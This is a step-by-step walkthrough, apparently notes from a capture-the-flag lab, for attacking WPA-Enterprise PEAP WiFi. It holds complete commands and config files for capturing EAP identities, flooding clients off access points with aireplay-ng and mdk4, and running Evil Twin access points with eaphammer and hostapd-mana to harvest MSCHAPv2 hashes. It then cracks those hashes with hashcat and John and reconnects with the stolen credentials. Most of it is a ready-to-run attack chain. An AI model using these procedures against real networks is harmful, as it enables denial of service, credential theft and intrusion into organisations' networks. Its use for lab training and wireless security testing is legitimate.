Enterprise WIFI Hacking MGT/ EAP-PEAP

Introduction

Enterprise networks use centralised authentication. Your goal is to identify user identities and perform an Evil Twin attack to capture credentials.

---

EAP Hammer Automation

Phase 1: Task 1 - Reconnaissance

In this phase, you will identify the username, EAP type, and certificate details being used by the target. We need to capture EAP handshake

• Enable Monitor Mode:

  airmon-ng start wlan0.

• Locate the Target: Scan for the Enterprise network: airodump-ng --band abg wlan7mon.

• Capture Traffic: Lock onto the channel and BSSID to save a pcap

airodump-ng -c 44 --bssid 02:00:00:00:04:00 wlan7mon -w peap_recon --output-format pcap

Simpler Deauth (You dont need to worry about client. You can deauth all)

aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0mon

• aireplay-ng → Part of the Aircrack-ng suite, used for packet injection.

• -0 → Specifies a deauthentication attack.

• 10 → Number of deauth packets to send (in this case, 10 packets).

• -a F0:9F:C2:71:22:12 → BSSID (MAC address of the target AP).

• wlan0mon → The wireless interface in monitor mode.

Deauth cheatcheet

# Send deauth to trigger handshake capture
# -0 1 = send 1 deauth frame (gentle)
sudo aireplay-ng -0 1 -e ${essid} -a ${bssid} -c ${client} wlan0mon
# If no handshake, try broadcast (all clients):
sudo aireplay-ng -0 1 -e ${essid} -a ${bssid} wlan0mon
# If still no handshake, try continuous:
sudo aireplay-ng -0 0 -e ${essid} -a ${bssid} wlan0mon
# Press CTRL+C once you see "WPA handshake:" in Terminal 1

Look for the WPA Handshake in the Notification

• Analyze in Wireshark: Open the capture and apply these filters to find sensitive data:

  • Filter 1: eap (to see general EAP traffic).

  • Filter 2: eap.type (to confirm it is Protected EAP (EAP-PEAP)). Knowing the supported method dictates your next move. For example, if the server supports PEAP or EAP-TTLS, you can proceed with the Rogue AP (Evil Twin) attacks

  • Filter 3: eap.identity (to find the username, e.g., [email protected]).

• Filter 4: x509af.subject (to gather information on the server certificate).

We can also use Tshark to extract this information

tshark -r peap_recon-01.cap -Y "wlan.bssid == 02:00:00:00:04:00 && eap && tls.handshake.certificate" -V

or to be specific

tshark -r peap_recon-01.cap -Y "wlan.bssid == 02:00:00:00:04:00 && eap && tls.handshake.certificate" -V | grep "rdnSequence:" -A 1 | head -n 20

Finding the identity with tshark

tshark -r ~/wifi/scanc44-01.cap -Y '(eap && wlan.ra == f0:9f:c2:7a:33:28) && (eap.identity)' -T fields -e eap.identity

we can use Wireshark filtered by “eap” and look for packets with “Response, Identity”.

Alternate method to check authentication type

Once we have a valid user we can force each of the EAP authentication methods to verify which methods the AP supports. We can use “EAP_buster ” for this task.

cd /EAP_buster/
bash ./EAP_buster.sh wifi-global 'GLOBAL\GlobalAdmin' wlan1

---

---

Phase 2: Task 2 - Evil Twin Attack

Now that you have the username and certificate details, you will create a malicious AP to steal the user's password hash.

1. Stop Collection:

   airmon-ng check kill.

2. Create a Look-alike Certificate: Use the Eaphammer wizard to generate a certificate that mimics the target:

   • cd /home/rogue1/opt/eaphammer.

   • ./eaphammer --cert-wizard.

[*] Please enter two letter country code for certs (i.e. US, FR)
: US
[*] Please enter state or province for certs (i.e. Ontario, New Jersey)
: LV
[*] Please enter locale for certs (i.e. London, Hong Kong)
: Strip
[*] Please enter organization for certs (i.e. Evil Corp)
: SweetBiz
[*] Please enter org unit for certs (i.e. Hooman Resource Says)
: Help Desk
[*] Please enter email for certs (i.e. [email protected])
: [email protected]
[*] Please enter common name (CN) for certs.
: radius 1
[CW] Creating CA cert and key pair...
[CW] Complete!
[CW] Writing CA cert and key pair to disk...
[CW] New CA cert and private key written to: /home/rogue1/opt/eaphammer/certs/ca/radius 1-1.pem
[CW] Complete!
[CW] Creating server private key...
[CW] Complete!
[CW] Using server private key to create CSR...
[CW] Complete!
[CW] Creating server cert using CSR and signing it with CA key...
[CW] Complete!
[CW] Writing server cert and key pair to disk...
[CW] Complete!
[CW] Activating full certificate chain...
[CW] Complete!

• Launch the Evil Twin: Run the attack to negotiate a connection and capture the MSCHAPv2 hash:

./eaphammer --interface wlan0 --negotiate balanced --auth wpa-eap --bssid <mac> --essid <SSID> --creds

Or we can have our AP without the same MAC (I think better)

eaphammer -i wlan3 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced

• Capture the Hash: When the client connects, you will see a NETNTLM (MSCHAPv2) hash in the terminal.

Deauthenticate the existing Clients

With “airodump-ng” we detect the MAC of the clients to perform a deauthentication attack. So we do this attack on both clients in parallel. As there are 2 APs we have to perform the attack against the 2 APs, since disconnecting from 1 may connect to the other instead of to our RogueAP.

iwconfig wlan0mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:BA:6C:41

Or we can run airodump specifically on single channel and then do the deauth in this manner, the channel will remain the same for airreplay attack for deauth.

airdump-ng -c 44 wlan0mon
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon

Option B: Bulk Deauthentication (mdk4) – RECOMMENDED

This is the most efficient method for Enterprise environments as it can target multiple APs simultaneously.

1. Create a Target File If there are multiple APs, save their MAC addresses to a list.

echo "${bssid}" > /tmp/targets.txt
echo "${bssid2}" >> /tmp/targets.txt

2. Execute the Attack Ensure your interface is in monitor mode and on the correct channel before running the command.

• Method 1: Using the Target File

  sudo mdk4 wlan0mon d -c ${channel} -b /tmp/targets.txt

  • Note: The -b flag points to your list of BSSIDs.

• Method 2: Deauth by ESSID (Simpler)

  sudo mdk4 wlan0mon d -c ${channel} -E ${essid}

  • Note: This targets all APs broadcasting that specific network name.

---

Phase 3: Cracking the Hash

Once you have the hash (e.g., [email protected]::::...), save it to a file named hashes.txt.

Option A: Hashcat:

hashcat -m 5500 hashes.txt /home/rogue1/opt/rockyouwifi.txt

Option B: John the Ripper:

john jhashes.txt -w=/home/rogue1/opt/rockyouwifi.txt --format=netntlm

Method 2: FreeRADIUS + hostapd-mana

Phase 1: Certificate Configuration

You must modify the FreeRADIUS configuration files to match the target organization's details found during your reconnaissance.

1. Edit CA Configuration

• Command: sudo nano /etc/freeradius/3.0/certs/ca.cnf

• Update the [certificate_authority] section:

  • countryName = ES

  • stateOrProvinceName = Madrid

  • localityName = Madrid

  • organizationName = WiFiChallenge

  • emailAddress = [email protected]

  • commonName = "WiFiChallenge CA"

2. Edit Server Configuration

• Command: sudo nano /etc/freeradius/3.0/certs/server.cnf

• Update the [server] section:

  • countryName = ES

  • stateOrProvinceName = Madrid

  • localityName = Madrid

  • organizationName = WiFiChallenge

  • emailAddress = [email protected]

  • commonName = "WiFiChallenge Server"

---

Phase 2: Certificate Generation & User Setup

1. Generate New Certificates Switch to root to refresh the Diffie-Hellman parameters and build the certificates.

sudo su -
cd /etc/freeradius/3.0/certs
rm dh
openssl dhparam -out dh -2 2048  # Takes ~1-2 minutes
make
exit

2. Create EAP User File This file tells the Rogue AP which authentication protocols to negotiate with victims.

cat << EOF > /tmp/mana.eap_user
* PEAP,TTLS,TLS,FAST
"t"   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    "pass"   [2]
EOF

---

Phase 3: Launching the Attack

1. Create the hostapd-mana Config Save this as /tmp/network.conf. Ensure the ssid matches your target variable.

# === ROGUE AP CONFIGURATION ===
ssid=${essid}
interface=wlan0
driver=nl80211
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=/tmp/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/tmp/hostapd.credout

Better to match channel and use this

interface=wlan3
driver=nl80211
ssid=wifi-corp
hw_mode=a
channel=44

auth_algs=1
wmm_enabled=1
ieee80211n=1

ieee8021x=1
eap_server=1
eap_user_file=/tmp/mana.eap_user

ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh

wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP

mana_wpe=1
mana_credout=/tmp/hostapd.credout

2. Execution Reset your interface and start the Rogue AP.

sudo ifconfig wlan0 down && sudo ifconfig wlan0 up
sudo hostapd-mana /tmp/network.conf

3. Deauthenticate Targets In a new terminal, kick clients off the real APs to force them toward your Rogue AP.

• By ESSID (Recommended): sudo mdk4 wlan1 d -c ${channel} -E ${essid}

• Targeted: sudo aireplay-ng -0 0 -e ${essid} -a ${bssid} wlan1

---

Phase 4: Cracking the Hash

Once a client connects, hostapd-mana will display a hash in the format: user::::challenge:response.

1. Save the hash: echo 'user::::challenge:response' > /tmp/hash.txt

2. Crack with Hashcat:

   Bash

   hashcat -a 0 -m 5500 /tmp/hash.txt /usr/share/john/password.lst --force

   Note: Mode -m 5500 is for NetNTLMv1 / MSCHAPv2.

3. Cracking with John

john hash.txt --format=netntlm --wordlist=/usr/share/wordlists/rockyou.txt

Phase 5: Final Connection

After cracking the password, use wpa_supplicant with a client.conf file (specifying key_mgmt=WPA-EAP and phase2="auth=MSCHAPV2") to connect and retrieve the flag from 192.168.1.1.

Use this after you have cracked the domain credentials from your Rogue AP.

Sample Config File (/tmp/client.conf):

network={
    ssid="wifi-corp" 
    scan_ssid=1 
    key_mgmt=WPA-EAP 
    eap=PEAP 
    identity="CONTOSO\juan.tr" # Replace with captured identity 
    password="bulldogs1234"    # Replace with cracked password 
    phase1="peaplabel=0" 
    phase2="auth=MSCHAPV2" 
}

Connection Instructions:

1. Connect: Run sudo wpa_supplicant -i wlan0 -c /tmp/client.conf.

2. Get IP: Run sudo dhclient wlan0 -v.

3. Get Flag: Run curl http://192.168.1.1/proof.txt.